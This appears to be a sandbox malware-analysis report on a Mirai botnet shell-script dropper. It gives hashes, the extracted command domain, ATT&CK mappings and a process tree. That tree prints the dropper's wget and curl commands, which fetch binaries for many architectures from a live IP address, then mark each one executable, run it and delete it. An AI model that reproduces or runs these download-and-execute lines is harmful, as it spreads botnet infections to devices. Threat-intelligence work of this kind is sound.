mirai | cac16de59cd6c00305f0d9a8fa5a2adb5e4dac2dde02b78705f126a94546fe85

Analysis

max time kernel
122s
max time network
152s
platform
debian-9_mips
resource
debian9-mipsbe-20260513-en
resource tags

arch:mipsimage:debian9-mipsbe-20260513-enkernel:4.9.0-13-4kc-maltalocale:en-usos:debian-9-mipssystem
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20/06/2026, 13:09

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General

Target
_cac16de59cd6c00305f0d9a8fa5a2adb5e4dac2dde02b78705f126a94546fe85.sh
Size 2KB
Sample260620-qd2rpse19l
SHA256 cac16de59cd6c00305f0d9a8fa5a2adb5e4dac2dde02b78705f126a94546fe85
MD5 2368ac3acb08766f54a6bf55852b6cc2
SHA1 337fc7a94259d4a117fe2eb35ba9184feb83ec89
SHA512 633fce7183e10eb65fc92429101054913f6dc71cc7e3490c9523a1c1aabfb08908e0d55166b31614f25b07bf40ef5e059f59610872420c490479c5bc0cd5e4ef
TLSH
T1AA5188C6108177326DF6DD32BABA88157280D09B64CFAF999DD8BBA984CDD04BC51743
MD5 SHA1 SHA512 TLSH

Score

10^/10

botnet defense_evasion discovery mirai upx

Malware Config

Extracted

Family

mirai

u87yy3f87b23f8293bfg83bgu94.bombamodzik.xyz

Signatures

Family: Mirai
Mirai is a prevalent Linux malware infecting exposed network devices.
botnet mirai

File and Directory Permissions Modification 1 TTPs 15 IoCs

Adversaries may modify file or directory permissions to evade defenses.

defense_evasion

Linux and Mac File and Directory Permissions Modification

T1222.002

pid	Process
884	chmod
889	chmod
748	chmod
834	chmod
854	chmod
859	chmod
869	chmod
742	chmod
840	chmod
874	chmod
899	chmod
894	chmod
848	chmod
864	chmod
879	chmod

Executes dropped EXE 1 IoCs

ioc	pid	Process
/tmp/nz.x86	743	_cac16de59cd6c00305f0d9a8fa5a2adb5e4dac2dde02b78705f126a94546fe85.sh

Modifies Watchdog functionality 1 TTPs 2 IoCs

Malware like Mirai modifies the Watchdog to prevent it restarting an infected system.

defense_evasion

Impair Defenses

T1562

description	ioc	Process
File opened for modification	/dev/misc/watchdog	nz.mips
File opened for modification	/dev/watchdog	nz.mips

Enumerates running processes
Discovers information about currently running processes on the system

Writes file to system bin folder 2 IoCs

description	ioc	Process
File opened for modification	/sbin/watchdog	nz.mips
File opened for modification	/bin/watchdog	nz.mips

UPX packed file 1 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral3/files/fstream-2.dat	upx

Reads runtime system information 64 IoCs

Reads data from /proc virtual filesystem.

discovery

description	ioc	Process
File opened for reading	/proc/10/status	nz.mips
File opened for reading	/proc/15/status	nz.mips
File opened for reading	/proc/18/status	nz.mips
File opened for reading	/proc/19/status	nz.mips
File opened for reading	/proc/81/status	nz.mips
File opened for reading	/proc/82/status	nz.mips
File opened for reading	/proc/709/status	nz.mips
File opened for reading	/proc/23/status	nz.mips
File opened for reading	/proc/389/status	nz.mips
File opened for reading	/proc/704/status	nz.mips
File opened for reading	/proc/382/status	nz.mips
File opened for reading	/proc/333/status	nz.mips
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/6/status	nz.mips
File opened for reading	/proc/11/status	nz.mips
File opened for reading	/proc/13/status	nz.mips
File opened for reading	/proc/711/status	nz.mips
File opened for reading	/proc/filesystems	cp
File opened for reading	/proc/2/status	nz.mips
File opened for reading	/proc/72/status	nz.mips
File opened for reading	/proc/73/status	nz.mips
File opened for reading	/proc/74/status	nz.mips
File opened for reading	/proc/24/status	nz.mips
File opened for reading	/proc/37/status	nz.mips
File opened for reading	/proc/176/status	nz.mips
File opened for reading	/proc/334/status	nz.mips
File opened for reading	/proc/674/status	nz.mips
File opened for reading	/proc/79/status	nz.mips
File opened for reading	/proc/161/status	nz.mips
File opened for reading	/proc/245/status	nz.mips
File opened for reading	/proc/661/status	nz.mips
File opened for reading	/proc/752/status	nz.mips
File opened for reading	/proc/76/status	nz.mips
File opened for reading	/proc/157/status	nz.mips
File opened for reading	/proc/703/status	nz.mips
File opened for reading	/proc/1/status	nz.mips
File opened for reading	/proc/7/status	nz.mips
File opened for reading	/proc/16/status	nz.mips
File opened for reading	/proc/22/status	nz.mips
File opened for reading	/proc/36/status	nz.mips
File opened for reading	/proc/75/status	nz.mips
File opened for reading	/proc/677/status	nz.mips
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/17/status	nz.mips
File opened for reading	/proc/363/status	nz.mips
File opened for reading	/proc/679/status	nz.mips
File opened for reading	/proc/715/status	nz.mips
File opened for reading	/proc/14/status	nz.mips
File opened for reading	/proc/70/status	nz.mips
File opened for reading	/proc/109/status	nz.mips
File opened for reading	/proc/125/status	nz.mips
File opened for reading	/proc/749/status	nz.mips
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/8/status	nz.mips
File opened for reading	/proc/9/status	nz.mips
File opened for reading	/proc/77/status	nz.mips
File opened for reading	/proc/126/status	nz.mips
File opened for reading	/proc/738/status	nz.mips
File opened for reading	/proc/20/status	nz.mips
File opened for reading	/proc/714/status	nz.mips
File opened for reading	/proc/12/status	nz.mips
File opened for reading	/proc/71/status	nz.mips
File opened for reading	/proc/231/status	nz.mips

System Network Configuration Discovery 1 TTPs 4 IoCs

Adversaries may gather information about the network configuration of a system.

discovery

System Network Configuration Discovery

T1016

pid	Process
746	wget
747	curl
749	nz.mips
800	rm

Writes file to tmp directory 9 IoCs

Malware often drops required files in the /tmp directory.

description	ioc	Process
File opened for modification	/tmp/nz.x86	curl
File opened for modification	/tmp/nz.arc	wget
File opened for modification	/tmp/nz.i468	curl
File opened for modification	/tmp/nz.i686	wget
File opened for modification	/tmp/busybox	cp
File opened for modification	/tmp/nz.x86	wget
File opened for modification	/tmp/nz.mips	wget
File opened for modification	/tmp/nz.mips	curl
File opened for modification	/tmp/nz.i686	curl

/tmp/_cac16de59cd6c00305f0d9a8fa5a2adb5e4dac2dde02b78705f126a94546fe85.sh
/tmp/_cac16de59cd6c00305f0d9a8fa5a2adb5e4dac2dde02b78705f126a94546fe85.sh
1⤵
- Executes dropped EXE
PID:715
- /bin/cp
  cp /bin/busybox /tmp/
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:720
- /usr/bin/wget
  wget http://176.65.139.195/nz/nz.x86
  2⤵
  - Writes file to tmp directory
  PID:724
- /usr/bin/curl
  curl -O http://176.65.139.195/nz/nz.x86
  2⤵
  - Writes file to tmp directory
  PID:741
- /bin/chmod
  chmod +x busybox _cac16de59cd6c00305f0d9a8fa5a2adb5e4dac2dde02b78705f126a94546fe85.sh nz.x86 systemd-private-e5bb8c789e084c5cb97e3f38bdae45a6-systemd-timedated.service-O3W95x
  2⤵
  - File and Directory Permissions Modification
  PID:742
- /tmp/nz.x86
  ./nz.x86 nz.x86
  2⤵
  PID:743
- /bin/rm
  rm -rf nz.x86
  2⤵
  PID:745
- /usr/bin/wget
  wget http://176.65.139.195/nz/nz.mips
  2⤵
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:746
- /usr/bin/curl
  curl -O http://176.65.139.195/nz/nz.mips
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:747
- /bin/chmod
  chmod +x busybox _cac16de59cd6c00305f0d9a8fa5a2adb5e4dac2dde02b78705f126a94546fe85.sh nz.mips systemd-private-e5bb8c789e084c5cb97e3f38bdae45a6-systemd-timedated.service-O3W95x
  2⤵
  - File and Directory Permissions Modification
  PID:748
- /tmp/nz.mips
  ./nz.mips nz.mips
  2⤵
  - Modifies Watchdog functionality
  - Writes file to system bin folder
  - Reads runtime system information
  - System Network Configuration Discovery
  PID:749
- /bin/rm
  rm -rf nz.mips
  2⤵
  - System Network Configuration Discovery
  PID:800
- /usr/bin/wget
  wget http://176.65.139.195/nz/nz.arc
  2⤵
  - Writes file to tmp directory
  PID:801
- /usr/bin/curl
  curl -O http://176.65.139.195/nz/nz.arc
  2⤵
  - Reads runtime system information
  PID:802
- /bin/chmod
  chmod +x busybox _cac16de59cd6c00305f0d9a8fa5a2adb5e4dac2dde02b78705f126a94546fe85.sh nz.arc systemd-private-e5bb8c789e084c5cb97e3f38bdae45a6-systemd-timedated.service-O3W95x
  2⤵
  - File and Directory Permissions Modification
  PID:834
- /tmp/nz.arc
  ./nz.arc nz.arc
  2⤵
  PID:835
- /bin/rm
  rm -rf nz.arc
  2⤵
  PID:837
- /usr/bin/wget
  wget http://176.65.139.195/nz/nz.i468
  2⤵
  PID:838
- /usr/bin/curl
  curl -O http://176.65.139.195/nz/nz.i468
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:839
- /bin/chmod
  chmod +x busybox _cac16de59cd6c00305f0d9a8fa5a2adb5e4dac2dde02b78705f126a94546fe85.sh nz.i468 systemd-private-e5bb8c789e084c5cb97e3f38bdae45a6-systemd-timedated.service-O3W95x
  2⤵
  - File and Directory Permissions Modification
  PID:840
- /tmp/nz.i468
  ./nz.i468 nz.i468
  2⤵
  PID:841
- /bin/rm
  rm -rf nz.i468
  2⤵
  PID:842
- /usr/bin/wget
  wget http://176.65.139.195/nz/nz.i686
  2⤵
  - Writes file to tmp directory
  PID:843
- /usr/bin/curl
  curl -O http://176.65.139.195/nz/nz.i686
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:847
- /bin/chmod
  chmod +x busybox _cac16de59cd6c00305f0d9a8fa5a2adb5e4dac2dde02b78705f126a94546fe85.sh nz.i686
  2⤵
  - File and Directory Permissions Modification
  PID:848
- /tmp/nz.i686
  ./nz.i686 nz.i686
  2⤵
  PID:849
- /bin/rm
  rm -rf nz.i686
  2⤵
  PID:851
- /usr/bin/wget
  wget http://176.65.139.195/nz/nz.x86_64
  2⤵
  PID:852
- /usr/bin/curl
  curl -O http://176.65.139.195/nz/nz.x86_64
  2⤵
  PID:853
- /bin/chmod
  chmod +x busybox _cac16de59cd6c00305f0d9a8fa5a2adb5e4dac2dde02b78705f126a94546fe85.sh
  2⤵
  - File and Directory Permissions Modification
  PID:854
- /tmp/nz.x86_64
  ./nz.x86_64 nz.x86_64
  2⤵
  PID:855
- /bin/rm
  rm -rf nz.x86_64
  2⤵
  PID:856
- /usr/bin/wget
  wget http://176.65.139.195/nz/nz.mpsl
  2⤵
  PID:857
- /usr/bin/curl
  curl -O http://176.65.139.195/nz/nz.mpsl
  2⤵
  PID:858
- /bin/chmod
  chmod +x busybox _cac16de59cd6c00305f0d9a8fa5a2adb5e4dac2dde02b78705f126a94546fe85.sh
  2⤵
  - File and Directory Permissions Modification
  PID:859
- /tmp/nz.mpsl
  ./nz.mpsl nz.mpsl
  2⤵
  PID:860
- /bin/rm
  rm -rf nz.mpsl
  2⤵
  PID:861
- /usr/bin/wget
  wget http://176.65.139.195/nz/nz.arm
  2⤵
  PID:862
- /usr/bin/curl
  curl -O http://176.65.139.195/nz/nz.arm
  2⤵
  PID:863
- /bin/chmod
  chmod +x busybox _cac16de59cd6c00305f0d9a8fa5a2adb5e4dac2dde02b78705f126a94546fe85.sh
  2⤵
  - File and Directory Permissions Modification
  PID:864
- /tmp/nz.arm
  ./nz.arm nz.arm
  2⤵
  PID:865
- /bin/rm
  rm -rf nz.arm
  2⤵
  PID:866
- /usr/bin/wget
  wget http://176.65.139.195/nz/nz.arm5
  2⤵
  PID:867
- /usr/bin/curl
  curl -O http://176.65.139.195/nz/nz.arm5
  2⤵
  PID:868
- /bin/chmod
  chmod +x busybox _cac16de59cd6c00305f0d9a8fa5a2adb5e4dac2dde02b78705f126a94546fe85.sh
  2⤵
  - File and Directory Permissions Modification
  PID:869
- /tmp/nz.arm5
  ./nz.arm5 nz.arm5
  2⤵
  PID:870
- /bin/rm
  rm -rf nz.arm5
  2⤵
  PID:871
- /usr/bin/wget
  wget http://176.65.139.195/nz/nz.arm6
  2⤵
  PID:872
- /usr/bin/curl
  curl -O http://176.65.139.195/nz/nz.arm6
  2⤵
  PID:873
- /bin/chmod
  chmod +x busybox _cac16de59cd6c00305f0d9a8fa5a2adb5e4dac2dde02b78705f126a94546fe85.sh
  2⤵
  - File and Directory Permissions Modification
  PID:874
- /tmp/nz.arm6
  ./nz.arm6 nz.arm6
  2⤵
  PID:875
- /bin/rm
  rm -rf nz.arm6
  2⤵
  PID:876
- /usr/bin/wget
  wget http://176.65.139.195/nz/nz.arm7
  2⤵
  PID:877
- /usr/bin/curl
  curl -O http://176.65.139.195/nz/nz.arm7
  2⤵
  PID:878
- /bin/chmod
  chmod +x busybox _cac16de59cd6c00305f0d9a8fa5a2adb5e4dac2dde02b78705f126a94546fe85.sh
  2⤵
  - File and Directory Permissions Modification
  PID:879
- /tmp/nz.arm7
  ./nz.arm7 nz.arm7
  2⤵
  PID:880
- /bin/rm
  rm -rf nz.arm7
  2⤵
  PID:881
- /usr/bin/wget
  wget http://176.65.139.195/nz/nz.ppc
  2⤵
  PID:882
- /usr/bin/curl
  curl -O http://176.65.139.195/nz/nz.ppc
  2⤵
  PID:883
- /bin/chmod
  chmod +x busybox _cac16de59cd6c00305f0d9a8fa5a2adb5e4dac2dde02b78705f126a94546fe85.sh
  2⤵
  - File and Directory Permissions Modification
  PID:884
- /tmp/nz.ppc
  ./nz.ppc nz.ppc
  2⤵
  PID:885
- /bin/rm
  rm -rf nz.ppc
  2⤵
  PID:886
- /usr/bin/wget
  wget http://176.65.139.195/nz/nz.spc
  2⤵
  PID:887
- /usr/bin/curl
  curl -O http://176.65.139.195/nz/nz.spc
  2⤵
  PID:888
- /bin/chmod
  chmod +x busybox _cac16de59cd6c00305f0d9a8fa5a2adb5e4dac2dde02b78705f126a94546fe85.sh
  2⤵
  - File and Directory Permissions Modification
  PID:889
- /tmp/nz.spc
  ./nz.spc nz.spc
  2⤵
  PID:890
- /bin/rm
  rm -rf nz.spc
  2⤵
  PID:891
- /usr/bin/wget
  wget http://176.65.139.195/nz/nz.m68k
  2⤵
  PID:892
- /usr/bin/curl
  curl -O http://176.65.139.195/nz/nz.m68k
  2⤵
  PID:893
- /bin/chmod
  chmod +x busybox _cac16de59cd6c00305f0d9a8fa5a2adb5e4dac2dde02b78705f126a94546fe85.sh
  2⤵
  - File and Directory Permissions Modification
  PID:894
- /tmp/nz.m68k
  ./nz.m68k nz.m68k
  2⤵
  PID:895
- /bin/rm
  rm -rf nz.m68k
  2⤵
  PID:896
- /usr/bin/wget
  wget http://176.65.139.195/nz/nz.sh4
  2⤵
  PID:897
- /usr/bin/curl
  curl -O http://176.65.139.195/nz/nz.sh4
  2⤵
  PID:898
- /bin/chmod
  chmod +x busybox _cac16de59cd6c00305f0d9a8fa5a2adb5e4dac2dde02b78705f126a94546fe85.sh
  2⤵
  - File and Directory Permissions Modification
  PID:899
- /tmp/nz.sh4
  ./nz.sh4 nz.sh4
  2⤵
  PID:900
- /bin/rm
  rm -rf nz.sh4
  2⤵
  PID:901

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

File and Directory Permissions Modification

T1222

Linux and Mac File and Directory Permissions Modification

T1222.002

Impair Defenses

T1562

Credential Access

Discovery

System Network Configuration Discovery

T1016

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

busybox

Path /tmp/busybox
Size 857KB
SHA256 3180df117342646dcdc4c436f95b41e15587e2238ec59064b4b06c065d56cf38
MD5 a39fe8036e559ce804e26518061e59ff
SHA1 8df27f6e8a48b762d945ea2f2b87390c80acd4de
SHA512 e97756f316fceef7360e789362648529eea50eb6f7cc56cf654b3fc43ca61f0e4d9f366ed8fd59b73dd5a49615e935e9f53686d15f9a83c7fa472a70e7196d0d
SSDEEP 24576:pr1OolvjQkUQbkX5gLLatgVMmFSO4XS9PBdi:pZOolbQ4kXILatgfKS9PBE
TLSH
T12F154B5337218F1CF361D17004B3CE666AB652922BF68689927CF5203B90F6D641FFA9
MD5 SHA1 SHA512 SSDEEP TLSH

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nz.x86

Path /tmp/nz.x86
Size 38KB
SHA256 c544eee59638d1d3441f2626e2023dfc92c7c44ed88bdb08bef0ea097eb8728f
MD5 d5f91fc95e3790abfe3d85ca6b4d114a
SHA1 056b22f02fec7732f0da6b9429ad71469fe35334
SHA512 8fe214990b31e6abd09953d635814c2319f42f8ce0b797170cf8ffc0a7d9b889b67ba565b6f0127b6c244045ecef489b4d92f71c112c600bc09b66fed8fc43d1
SSDEEP 768:kKHoLnvmog+t5H9079Q98Vr3dLGecSIwSnbcuyD7UHQRjO:GnvmopN07a7eJIwSnouy8Hyi
TLSH
T11B03F16BC2695E90DA2DD3309EEAF11E7831F6298336C21078D034669CBD9D1353D7D4
MD5 SHA1 SHA512 SSDEEP TLSH